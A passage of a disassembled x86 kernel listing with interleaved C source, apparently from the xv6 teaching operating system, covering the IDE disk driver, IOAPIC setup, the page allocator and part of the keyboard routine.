FSSIZE) 80102e88: 8b 45 08 mov 0x8(%ebp),%eax 80102e8b: 8b 40 08 mov 0x8(%eax),%eax 80102e8e: 3d e7 03 00 00 cmp $0x3e7,%eax 80102e93: 76 0c jbe 80102ea1 <idestart+0x31> panic("incorrect blockno"); 80102e95: c7 04 24 5f 94 10 80 movl $0x8010945f,(%esp) 80102e9c: e8 9c d6 ff ff call 8010053d <panic> int sector_per_block = BSIZE/SECTOR_SIZE; 80102ea1: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) int sector = b->blockno * sector_per_block; 80102ea8: 8b 45 08 mov 0x8(%ebp),%eax 80102eab: 8b 50 08 mov 0x8(%eax),%edx 80102eae: 8b 45 f4 mov -0xc(%ebp),%eax 80102eb1: 0f af c2 imul %edx,%eax 80102eb4: 89 45 f0 mov %eax,-0x10(%ebp) if (sector_per_block > 7) panic("idestart"); 80102eb7: 83 7d f4 07 cmpl $0x7,-0xc(%ebp) 80102ebb: 7e 0c jle 80102ec9 <idestart+0x59> 80102ebd: c7 04 24 56 94 10 80 movl $0x80109456,(%esp) 80102ec4: e8 74 d6 ff ff call 8010053d <panic> idewait(0); 80102ec9: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80102ed0: e8 b1 fe ff ff call 80102d86 <idewait> outb(0x3f6, 0); // generate interrupt 80102ed5: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80102edc: 00 80102edd: c7 04 24 f6 03 00 00 movl $0x3f6,(%esp) 80102ee4: e8 5a fe ff ff call 80102d43 <outb> outb(0x1f2, sector_per_block); // number of sectors 80102ee9: 8b 45 f4 mov -0xc(%ebp),%eax 80102eec: 0f b6 c0 movzbl %al,%eax 80102eef: 89 44 24 04 mov %eax,0x4(%esp) 80102ef3: c7 04 24 f2 01 00 00 movl $0x1f2,(%esp) 80102efa: e8 44 fe ff ff call 80102d43 <outb> outb(0x1f3, sector & 0xff); 80102eff: 8b 45 f0 mov -0x10(%ebp),%eax 80102f02: 0f b6 c0 movzbl %al,%eax 80102f05: 89 44 24 04 mov %eax,0x4(%esp) 80102f09: c7 04 24 f3 01 00 00 movl $0x1f3,(%esp) 80102f10: e8 2e fe ff ff call 80102d43 <outb> outb(0x1f4, (sector >> 8) & 0xff); 80102f15: 8b 45 f0 mov -0x10(%ebp),%eax 80102f18: c1 f8 08 sar $0x8,%eax 80102f1b: 0f b6 c0 movzbl %al,%eax 80102f1e: 89 44 24 04 mov %eax,0x4(%esp) 80102f22: c7 04 24 f4 01 00 00 movl $0x1f4,(%esp) 80102f29: e8 15 fe ff ff call 80102d43 <outb> outb(0x1f5, (sector >> 16) & 0xff); 80102f2e: 8b 45 f0 mov -0x10(%ebp),%eax 80102f31: c1 f8 10 sar $0x10,%eax 80102f34: 0f b6 c0 movzbl %al,%eax 80102f37: 89 44 24 04 mov %eax,0x4(%esp) 80102f3b: c7 04 24 f5 01 00 00 movl $0x1f5,(%esp) 80102f42: e8 fc fd ff ff call 80102d43 <outb> outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 80102f47: 8b 45 08 mov 0x8(%ebp),%eax 80102f4a: 8b 40 04 mov 0x4(%eax),%eax 80102f4d: 83 e0 01 and $0x1,%eax 80102f50: 89 c2 mov %eax,%edx 80102f52: c1 e2 04 shl $0x4,%edx 80102f55: 8b 45 f0 mov -0x10(%ebp),%eax 80102f58: c1 f8 18 sar $0x18,%eax 80102f5b: 83 e0 0f and $0xf,%eax 80102f5e: 09 d0 or %edx,%eax 80102f60: 83 c8 e0 or $0xffffffe0,%eax 80102f63: 0f b6 c0 movzbl %al,%eax 80102f66: 89 44 24 04 mov %eax,0x4(%esp) 80102f6a: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp) 80102f71: e8 cd fd ff ff call 80102d43 <outb> if(b->flags & B_DIRTY){ 80102f76: 8b 45 08 mov 0x8(%ebp),%eax 80102f79: 8b 00 mov (%eax),%eax 80102f7b: 83 e0 04 and $0x4,%eax 80102f7e: 85 c0 test %eax,%eax 80102f80: 74 34 je 80102fb6 <idestart+0x146> outb(0x1f7, IDE_CMD_WRITE); 80102f82: c7 44 24 04 30 00 00 movl $0x30,0x4(%esp) 80102f89: 00 80102f8a: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp) 80102f91: e8 ad fd ff ff call 80102d43 <outb> outsl(0x1f0, b->data, BSIZE/4); 80102f96: 8b 45 08 mov 0x8(%ebp),%eax 80102f99: 83 c0 18 add $0x18,%eax 80102f9c: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp) 80102fa3: 00 80102fa4: 89 44 24 04 mov %eax,0x4(%esp) 80102fa8: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp) 80102faf: e8 ad fd ff ff call 80102d61 <outsl> 80102fb4: eb 14 jmp 80102fca <idestart+0x15a> } else { outb(0x1f7, IDE_CMD_READ); 80102fb6: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp) 80102fbd: 00 80102fbe: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp) 80102fc5: e8 79 fd ff ff call 80102d43 <outb> } } 80102fca: c9 leave 80102fcb: c3 ret 80102fcc <ideintr>: // Interrupt handler. void ideintr(void) { 80102fcc: 55 push %ebp 80102fcd: 89 e5 mov %esp,%ebp 80102fcf: 83 ec 28 sub $0x28,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102fd2: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp) 80102fd9: e8 cd 2b 00 00 call 80105bab <acquire> if((b = idequeue) == 0){ 80102fde: a1 54 c6 10 80 mov 0x8010c654,%eax 80102fe3: 89 45 f4 mov %eax,-0xc(%ebp) 80102fe6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80102fea: 75 11 jne 80102ffd <ideintr+0x31> release(&idelock); 80102fec: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp) 80102ff3: e8 15 2c 00 00 call 80105c0d <release> // cprintf("spurious IDE interrupt\n"); return; 80102ff8: e9 90 00 00 00 jmp 8010308d <ideintr+0xc1> } idequeue = b->qnext; 80102ffd: 8b 45 f4 mov -0xc(%ebp),%eax 80103000: 8b 40 14 mov 0x14(%eax),%eax 80103003: a3 54 c6 10 80 mov %eax,0x8010c654 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 80103008: 8b 45 f4 mov -0xc(%ebp),%eax 8010300b: 8b 00 mov (%eax),%eax 8010300d: 83 e0 04 and $0x4,%eax 80103010: 85 c0 test %eax,%eax 80103012: 75 2e jne 80103042 <ideintr+0x76> 80103014: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8010301b: e8 66 fd ff ff call 80102d86 <idewait> 80103020: 85 c0 test %eax,%eax 80103022: 78 1e js 80103042 <ideintr+0x76> insl(0x1f0, b->data, BSIZE/4); 80103024: 8b 45 f4 mov -0xc(%ebp),%eax 80103027: 83 c0 18 add $0x18,%eax 8010302a: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp) 80103031: 00 80103032: 89 44 24 04 mov %eax,0x4(%esp) 80103036: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp) 8010303d: e8 dc fc ff ff call 80102d1e <insl> // Wake process waiting for this buf. b->flags |= B_VALID; 80103042: 8b 45 f4 mov -0xc(%ebp),%eax 80103045: 8b 00 mov (%eax),%eax 80103047: 89 c2 mov %eax,%edx 80103049: 83 ca 02 or $0x2,%edx 8010304c: 8b 45 f4 mov -0xc(%ebp),%eax 8010304f: 89 10 mov %edx,(%eax) b->flags &= ~B_DIRTY; 80103051: 8b 45 f4 mov -0xc(%ebp),%eax 80103054: 8b 00 mov (%eax),%eax 80103056: 89 c2 mov %eax,%edx 80103058: 83 e2 fb and $0xfffffffb,%edx 8010305b: 8b 45 f4 mov -0xc(%ebp),%eax 8010305e: 89 10 mov %edx,(%eax) wakeup(b); 80103060: 8b 45 f4 mov -0xc(%ebp),%eax 80103063: 89 04 24 mov %eax,(%esp) 80103066: e8 3d 27 00 00 call 801057a8 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 8010306b: a1 54 c6 10 80 mov 0x8010c654,%eax 80103070: 85 c0 test %eax,%eax 80103072: 74 0d je 80103081 <ideintr+0xb5> idestart(idequeue); 80103074: a1 54 c6 10 80 mov 0x8010c654,%eax 80103079: 89 04 24 mov %eax,(%esp) 8010307c: e8 ef fd ff ff call 80102e70 <idestart> release(&idelock); 80103081: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp) 80103088: e8 80 2b 00 00 call 80105c0d <release> } 8010308d: c9 leave 8010308e: c3 ret 8010308f <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 8010308f: 55 push %ebp 80103090: 89 e5 mov %esp,%ebp 80103092: 83 ec 28 sub $0x28,%esp struct buf **pp; if(!(b->flags & B_BUSY)) 80103095: 8b 45 08 mov 0x8(%ebp),%eax 80103098: 8b 00 mov (%eax),%eax 8010309a: 83 e0 01 and $0x1,%eax 8010309d: 85 c0 test %eax,%eax 8010309f: 75 0c jne 801030ad <iderw+0x1e> panic("iderw: buf not busy"); 801030a1: c7 04 24 71 94 10 80 movl $0x80109471,(%esp) 801030a8: e8 90 d4 ff ff call 8010053d <panic> if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 801030ad: 8b 45 08 mov 0x8(%ebp),%eax 801030b0: 8b 00 mov (%eax),%eax 801030b2: 83 e0 06 and $0x6,%eax 801030b5: 83 f8 02 cmp $0x2,%eax 801030b8: 75 0c jne 801030c6 <iderw+0x37> panic("iderw: nothing to do"); 801030ba: c7 04 24 85 94 10 80 movl $0x80109485,(%esp) 801030c1: e8 77 d4 ff ff call 8010053d <panic> if(b->dev != 0 && !havedisk1) 801030c6: 8b 45 08 mov 0x8(%ebp),%eax 801030c9: 8b 40 04 mov 0x4(%eax),%eax 801030cc: 85 c0 test %eax,%eax 801030ce: 74 15 je 801030e5 <iderw+0x56> 801030d0: a1 58 c6 10 80 mov 0x8010c658,%eax 801030d5: 85 c0 test %eax,%eax 801030d7: 75 0c jne 801030e5 <iderw+0x56> panic("iderw: ide disk 1 not present"); 801030d9: c7 04 24 9a 94 10 80 movl $0x8010949a,(%esp) 801030e0: e8 58 d4 ff ff call 8010053d <panic> acquire(&idelock); //DOC:acquire-lock 801030e5: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp) 801030ec: e8 ba 2a 00 00 call 80105bab <acquire> // Append b to idequeue. b->qnext = 0; 801030f1: 8b 45 08 mov 0x8(%ebp),%eax 801030f4: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801030fb: c7 45 f4 54 c6 10 80 movl $0x8010c654,-0xc(%ebp) 80103102: eb 0b jmp 8010310f <iderw+0x80> 80103104: 8b 45 f4 mov -0xc(%ebp),%eax 80103107: 8b 00 mov (%eax),%eax 80103109: 83 c0 14 add $0x14,%eax 8010310c: 89 45 f4 mov %eax,-0xc(%ebp) 8010310f: 8b 45 f4 mov -0xc(%ebp),%eax 80103112: 8b 00 mov (%eax),%eax 80103114: 85 c0 test %eax,%eax 80103116: 75 ec jne 80103104 <iderw+0x75> ; *pp = b; 80103118: 8b 45 f4 mov -0xc(%ebp),%eax 8010311b: 8b 55 08 mov 0x8(%ebp),%edx 8010311e: 89 10 mov %edx,(%eax) // Start disk if necessary. if(idequeue == b) 80103120: a1 54 c6 10 80 mov 0x8010c654,%eax 80103125: 3b 45 08 cmp 0x8(%ebp),%eax 80103128: 75 22 jne 8010314c <iderw+0xbd> idestart(b); 8010312a: 8b 45 08 mov 0x8(%ebp),%eax 8010312d: 89 04 24 mov %eax,(%esp) 80103130: e8 3b fd ff ff call 80102e70 <idestart> // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 80103135: eb 15 jmp 8010314c <iderw+0xbd> sleep(b, &idelock); 80103137: c7 44 24 04 20 c6 10 movl $0x8010c620,0x4(%esp) 8010313e: 80 8010313f: 8b 45 08 mov 0x8(%ebp),%eax 80103142: 89 04 24 mov %eax,(%esp) 80103145: e8 75 25 00 00 call 801056bf <sleep> 8010314a: eb 01 jmp 8010314d <iderw+0xbe> // Start disk if necessary. if(idequeue == b) idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 8010314c: 90 nop 8010314d: 8b 45 08 mov 0x8(%ebp),%eax 80103150: 8b 00 mov (%eax),%eax 80103152: 83 e0 06 and $0x6,%eax 80103155: 83 f8 02 cmp $0x2,%eax 80103158: 75 dd jne 80103137 <iderw+0xa8> sleep(b, &idelock); } release(&idelock); 8010315a: c7 04 24 20 c6 10 80 movl $0x8010c620,(%esp) 80103161: e8 a7 2a 00 00 call 80105c0d <release> } 80103166: c9 leave 80103167: c3 ret 80103168 <ioapicread>: uint data; }; static uint ioapicread(int reg) { 80103168: 55 push %ebp 80103169: 89 e5 mov %esp,%ebp ioapic->reg = reg; 8010316b: a1 54 3a 11 80 mov 0x80113a54,%eax 80103170: 8b 55 08 mov 0x8(%ebp),%edx 80103173: 89 10 mov %edx,(%eax) return ioapic->data; 80103175: a1 54 3a 11 80 mov 0x80113a54,%eax 8010317a: 8b 40 10 mov 0x10(%eax),%eax } 8010317d: 5d pop %ebp 8010317e: c3 ret 8010317f <ioapicwrite>: static void ioapicwrite(int reg, uint data) { 8010317f: 55 push %ebp 80103180: 89 e5 mov %esp,%ebp ioapic->reg = reg; 80103182: a1 54 3a 11 80 mov 0x80113a54,%eax 80103187: 8b 55 08 mov 0x8(%ebp),%edx 8010318a: 89 10 mov %edx,(%eax) ioapic->data = data; 8010318c: a1 54 3a 11 80 mov 0x80113a54,%eax 80103191: 8b 55 0c mov 0xc(%ebp),%edx 80103194: 89 50 10 mov %edx,0x10(%eax) } 80103197: 5d pop %ebp 80103198: c3 ret 80103199 <ioapicinit>: void ioapicinit(void) { 80103199: 55 push %ebp 8010319a: 89 e5 mov %esp,%ebp 8010319c: 83 ec 28 sub $0x28,%esp int i, id, maxintr; if(!ismp) 8010319f: a1 84 3b 11 80 mov 0x80113b84,%eax 801031a4: 85 c0 test %eax,%eax 801031a6: 0f 84 9f 00 00 00 je 8010324b <ioapicinit+0xb2> return; ioapic = (volatile struct ioapic*)IOAPIC; 801031ac: c7 05 54 3a 11 80 00 movl $0xfec00000,0x80113a54 801031b3: 00 c0 fe maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 801031b6: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801031bd: e8 a6 ff ff ff call 80103168 <ioapicread> 801031c2: c1 e8 10 shr $0x10,%eax 801031c5: 25 ff 00 00 00 and $0xff,%eax 801031ca: 89 45 f0 mov %eax,-0x10(%ebp) id = ioapicread(REG_ID) >> 24; 801031cd: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801031d4: e8 8f ff ff ff call 80103168 <ioapicread> 801031d9: c1 e8 18 shr $0x18,%eax 801031dc: 89 45 ec mov %eax,-0x14(%ebp) if(id != ioapicid) 801031df: 0f b6 05 80 3b 11 80 movzbl 0x80113b80,%eax 801031e6: 0f b6 c0 movzbl %al,%eax 801031e9: 3b 45 ec cmp -0x14(%ebp),%eax 801031ec: 74 0c je 801031fa <ioapicinit+0x61> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 801031ee: c7 04 24 b8 94 10 80 movl $0x801094b8,(%esp) 801031f5: e8 a7 d1 ff ff call 801003a1 <cprintf> // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 801031fa: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80103201: eb 3e jmp 80103241 <ioapicinit+0xa8> ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80103203: 8b 45 f4 mov -0xc(%ebp),%eax 80103206: 83 c0 20 add $0x20,%eax 80103209: 0d 00 00 01 00 or $0x10000,%eax 8010320e: 8b 55 f4 mov -0xc(%ebp),%edx 80103211: 83 c2 08 add $0x8,%edx 80103214: 01 d2 add %edx,%edx 80103216: 89 44 24 04 mov %eax,0x4(%esp) 8010321a: 89 14 24 mov %edx,(%esp) 8010321d: e8 5d ff ff ff call 8010317f <ioapicwrite> ioapicwrite(REG_TABLE+2*i+1, 0); 80103222: 8b 45 f4 mov -0xc(%ebp),%eax 80103225: 83 c0 08 add $0x8,%eax 80103228: 01 c0 add %eax,%eax 8010322a: 83 c0 01 add $0x1,%eax 8010322d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103234: 00 80103235: 89 04 24 mov %eax,(%esp) 80103238: e8 42 ff ff ff call 8010317f <ioapicwrite> if(id != ioapicid) cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ 8010323d: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103241: 8b 45 f4 mov -0xc(%ebp),%eax 80103244: 3b 45 f0 cmp -0x10(%ebp),%eax 80103247: 7e ba jle 80103203 <ioapicinit+0x6a> 80103249: eb 01 jmp 8010324c <ioapicinit+0xb3> ioapicinit(void) { int i, id, maxintr; if(!ismp) return; 8010324b: 90 nop // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); ioapicwrite(REG_TABLE+2*i+1, 0); } } 8010324c: c9 leave 8010324d: c3 ret 8010324e <ioapicenable>: void ioapicenable(int irq, int cpunum) { 8010324e: 55 push %ebp 8010324f: 89 e5 mov %esp,%ebp 80103251: 83 ec 08 sub $0x8,%esp if(!ismp) 80103254: a1 84 3b 11 80 mov 0x80113b84,%eax 80103259: 85 c0 test %eax,%eax 8010325b: 74 39 je 80103296 <ioapicenable+0x48> return; // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 8010325d: 8b 45 08 mov 0x8(%ebp),%eax 80103260: 83 c0 20 add $0x20,%eax 80103263: 8b 55 08 mov 0x8(%ebp),%edx 80103266: 83 c2 08 add $0x8,%edx 80103269: 01 d2 add %edx,%edx 8010326b: 89 44 24 04 mov %eax,0x4(%esp) 8010326f: 89 14 24 mov %edx,(%esp) 80103272: e8 08 ff ff ff call 8010317f <ioapicwrite> ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 80103277: 8b 45 0c mov 0xc(%ebp),%eax 8010327a: c1 e0 18 shl $0x18,%eax 8010327d: 8b 55 08 mov 0x8(%ebp),%edx 80103280: 83 c2 08 add $0x8,%edx 80103283: 01 d2 add %edx,%edx 80103285: 83 c2 01 add $0x1,%edx 80103288: 89 44 24 04 mov %eax,0x4(%esp) 8010328c: 89 14 24 mov %edx,(%esp) 8010328f: e8 eb fe ff ff call 8010317f <ioapicwrite> 80103294: eb 01 jmp 80103297 <ioapicenable+0x49> void ioapicenable(int irq, int cpunum) { if(!ismp) return; 80103296: 90 nop // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); } 80103297: c9 leave 80103298: c3 ret 80103299: 00 00 add %al,(%eax) ... 8010329c <v2p>: #define KERNBASE 0x80000000 // First kernel virtual address #define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked #ifndef __ASSEMBLER__ static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; } 8010329c: 55 push %ebp 8010329d: 89 e5 mov %esp,%ebp 8010329f: 8b 45 08 mov 0x8(%ebp),%eax 801032a2: 05 00 00 00 80 add $0x80000000,%eax 801032a7: 5d pop %ebp 801032a8: c3 ret 801032a9 <kinit1>: // the pages mapped by entrypgdir on free list. // 2. main() calls kinit2() with the rest of the physical pages // after installing a full page table that maps them on all cores. void kinit1(void *vstart, void *vend) { 801032a9: 55 push %ebp 801032aa: 89 e5 mov %esp,%ebp 801032ac: 83 ec 18 sub $0x18,%esp initlock(&kmem.lock, "kmem"); 801032af: c7 44 24 04 ea 94 10 movl $0x801094ea,0x4(%esp) 801032b6: 80 801032b7: c7 04 24 60 3a 11 80 movl $0x80113a60,(%esp) 801032be: e8 c7 28 00 00 call 80105b8a <initlock> kmem.use_lock = 0; 801032c3: c7 05 94 3a 11 80 00 movl $0x0,0x80113a94 801032ca: 00 00 00 freerange(vstart, vend); 801032cd: 8b 45 0c mov 0xc(%ebp),%eax 801032d0: 89 44 24 04 mov %eax,0x4(%esp) 801032d4: 8b 45 08 mov 0x8(%ebp),%eax 801032d7: 89 04 24 mov %eax,(%esp) 801032da: e8 26 00 00 00 call 80103305 <freerange> } 801032df: c9 leave 801032e0: c3 ret 801032e1 <kinit2>: void kinit2(void *vstart, void *vend) { 801032e1: 55 push %ebp 801032e2: 89 e5 mov %esp,%ebp 801032e4: 83 ec 18 sub $0x18,%esp freerange(vstart, vend); 801032e7: 8b 45 0c mov 0xc(%ebp),%eax 801032ea: 89 44 24 04 mov %eax,0x4(%esp) 801032ee: 8b 45 08 mov 0x8(%ebp),%eax 801032f1: 89 04 24 mov %eax,(%esp) 801032f4: e8 0c 00 00 00 call 80103305 <freerange> kmem.use_lock = 1; 801032f9: c7 05 94 3a 11 80 01 movl $0x1,0x80113a94 80103300: 00 00 00 } 80103303: c9 leave 80103304: c3 ret 80103305 <freerange>: void freerange(void *vstart, void *vend) { 80103305: 55 push %ebp 80103306: 89 e5 mov %esp,%ebp 80103308: 83 ec 28 sub $0x28,%esp char *p; p = (char*)PGROUNDUP((uint)vstart); 8010330b: 8b 45 08 mov 0x8(%ebp),%eax 8010330e: 05 ff 0f 00 00 add $0xfff,%eax 80103313: 25 00 f0 ff ff and $0xfffff000,%eax 80103318: 89 45 f4 mov %eax,-0xc(%ebp) for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010331b: eb 12 jmp 8010332f <freerange+0x2a> kfree(p); 8010331d: 8b 45 f4 mov -0xc(%ebp),%eax 80103320: 89 04 24 mov %eax,(%esp) 80103323: e8 16 00 00 00 call 8010333e <kfree> void freerange(void *vstart, void *vend) { char *p; p = (char*)PGROUNDUP((uint)vstart); for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80103328: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 8010332f: 8b 45 f4 mov -0xc(%ebp),%eax 80103332: 05 00 10 00 00 add $0x1000,%eax 80103337: 3b 45 0c cmp 0xc(%ebp),%eax 8010333a: 76 e1 jbe 8010331d <freerange+0x18> kfree(p); } 8010333c: c9 leave 8010333d: c3 ret 8010333e <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 8010333e: 55 push %ebp 8010333f: 89 e5 mov %esp,%ebp 80103341: 83 ec 28 sub $0x28,%esp struct run *r; if((uint)v % PGSIZE || v < end || v2p(v) >= PHYSTOP) 80103344: 8b 45 08 mov 0x8(%ebp),%eax 80103347: 25 ff 0f 00 00 and $0xfff,%eax 8010334c: 85 c0 test %eax,%eax 8010334e: 75 1b jne 8010336b <kfree+0x2d> 80103350: 81 7d 08 7c 6e 11 80 cmpl $0x80116e7c,0x8(%ebp) 80103357: 72 12 jb 8010336b <kfree+0x2d> 80103359: 8b 45 08 mov 0x8(%ebp),%eax 8010335c: 89 04 24 mov %eax,(%esp) 8010335f: e8 38 ff ff ff call 8010329c <v2p> 80103364: 3d ff ff ff 0d cmp $0xdffffff,%eax 80103369: 76 0c jbe 80103377 <kfree+0x39> panic("kfree"); 8010336b: c7 04 24 ef 94 10 80 movl $0x801094ef,(%esp) 80103372: e8 c6 d1 ff ff call 8010053d <panic> // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80103377: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 8010337e: 00 8010337f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80103386: 00 80103387: 8b 45 08 mov 0x8(%ebp),%eax 8010338a: 89 04 24 mov %eax,(%esp) 8010338d: e8 68 2a 00 00 call 80105dfa <memset> if(kmem.use_lock) 80103392: a1 94 3a 11 80 mov 0x80113a94,%eax 80103397: 85 c0 test %eax,%eax 80103399: 74 0c je 801033a7 <kfree+0x69> acquire(&kmem.lock); 8010339b: c7 04 24 60 3a 11 80 movl $0x80113a60,(%esp) 801033a2: e8 04 28 00 00 call 80105bab <acquire> r = (struct run*)v; 801033a7: 8b 45 08 mov 0x8(%ebp),%eax 801033aa: 89 45 f4 mov %eax,-0xc(%ebp) r->next = kmem.freelist; 801033ad: 8b 15 98 3a 11 80 mov 0x80113a98,%edx 801033b3: 8b 45 f4 mov -0xc(%ebp),%eax 801033b6: 89 10 mov %edx,(%eax) kmem.freelist = r; 801033b8: 8b 45 f4 mov -0xc(%ebp),%eax 801033bb: a3 98 3a 11 80 mov %eax,0x80113a98 if(kmem.use_lock) 801033c0: a1 94 3a 11 80 mov 0x80113a94,%eax 801033c5: 85 c0 test %eax,%eax 801033c7: 74 0c je 801033d5 <kfree+0x97> release(&kmem.lock); 801033c9: c7 04 24 60 3a 11 80 movl $0x80113a60,(%esp) 801033d0: e8 38 28 00 00 call 80105c0d <release> } 801033d5: c9 leave 801033d6: c3 ret 801033d7 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 801033d7: 55 push %ebp 801033d8: 89 e5 mov %esp,%ebp 801033da: 83 ec 28 sub $0x28,%esp struct run *r; if(kmem.use_lock) 801033dd: a1 94 3a 11 80 mov 0x80113a94,%eax 801033e2: 85 c0 test %eax,%eax 801033e4: 74 0c je 801033f2 <kalloc+0x1b> acquire(&kmem.lock); 801033e6: c7 04 24 60 3a 11 80 movl $0x80113a60,(%esp) 801033ed: e8 b9 27 00 00 call 80105bab <acquire> r = kmem.freelist; 801033f2: a1 98 3a 11 80 mov 0x80113a98,%eax 801033f7: 89 45 f4 mov %eax,-0xc(%ebp) if(r) 801033fa: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801033fe: 74 0a je 8010340a <kalloc+0x33> kmem.freelist = r->next; 80103400: 8b 45 f4 mov -0xc(%ebp),%eax 80103403: 8b 00 mov (%eax),%eax 80103405: a3 98 3a 11 80 mov %eax,0x80113a98 if(kmem.use_lock) 8010340a: a1 94 3a 11 80 mov 0x80113a94,%eax 8010340f: 85 c0 test %eax,%eax 80103411: 74 0c je 8010341f <kalloc+0x48> release(&kmem.lock); 80103413: c7 04 24 60 3a 11 80 movl $0x80113a60,(%esp) 8010341a: e8 ee 27 00 00 call 80105c0d <release> return (char*)r; 8010341f: 8b 45 f4 mov -0xc(%ebp),%eax } 80103422: c9 leave 80103423: c3 ret 80103424 <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 80103424: 55 push %ebp 80103425: 89 e5 mov %esp,%ebp 80103427: 53 push %ebx 80103428: 83 ec 14 sub $0x14,%esp 8010342b: 8b 45 08 mov 0x8(%ebp),%eax 8010342e: 66 89 45 e8 mov %ax,-0x18(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80103432: 0f b7 55 e8 movzwl -0x18(%ebp),%edx 80103436: 66 89 55 ea mov %dx,-0x16(%ebp) 8010343a: 0f b7 55 ea movzwl -0x16(%ebp),%edx 8010343e: ec in (%dx),%al 8010343f: 89 c3 mov %eax,%ebx 80103441: 88 5d fb mov %bl,-0x5(%ebp) return data; 80103444: 0f b6 45 fb movzbl -0x5(%ebp),%eax } 80103448: 83 c4 14 add $0x14,%esp 8010344b: 5b pop %ebx 8010344c: 5d pop %ebp 8010344d: c3 ret 8010344e <kbdgetc>: #include "defs.h" #include "kbd.h" int kbdgetc(void) { 8010344e: 55 push %ebp 8010344f: 89 e5 mov %esp,%ebp 80103451: 83 ec 14 sub $0x14,%esp static uchar *charcode[4] = { normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); 80103454: c7 04 24 64 00 00 00 movl $0x64,(%esp) 8010345b: e8 c4 ff ff ff call 80103424 <inb> 80103460: 0f b6 c0 movzbl %al,%eax 80103463: 89 45 f4 mov %eax,-0xc(%ebp) if((st & KBS_DIB) == 0) 80103466: 8b 45 f4 mov -0xc(%ebp),%eax 80103469: 83 e0 01 and $0x1,%eax 8010346c: 85 c0 test %eax,%eax 8010346e: 75 0a jne 8010347a <kbdgetc+0x2c> return -1; 80103470: b8 ff ff ff ff mov $0xffffffff,%eax 80103475: e9 23 01 00 00 jmp 8010359d <kbdgetc+0x14f> data = inb(KBDATAP); 8010347a: c7 04 24 60 00 00 00 movl $0x60,(%esp) 80103481: e8 9e ff ff ff call 80103424 <inb> 80103486: 0f b6 c0 movzbl %al,%eax 80103489: 89 45 fc mov %eax,-0x4(%ebp) if(data == 0xE0){ 8010348c: 81 7d fc e0 00 00 00 cmpl $0xe0,-0x4(%ebp) 80103493: 75 17 jne 801034ac <kbdgetc+0x5e> shift |= E0ESC; 80103495: a1 5c c6 10 80 mov 0x8010c65c,%eax 8010349a: 83 c8 40 or $0x40,%eax 8010349d: a3 5c c6 10 80 mov %eax,0x8010c65c return 0; 801034a2: b8 00 00 00 00 mov $0x0,%eax 801034a7: e9 f1 00 00 00 jmp 8010359d <kbdgetc+0x14f> } else if(data & 0x80){ 801034ac: 8b 45 fc mov -0x4(%ebp),%eax 801034af: 25 80 00 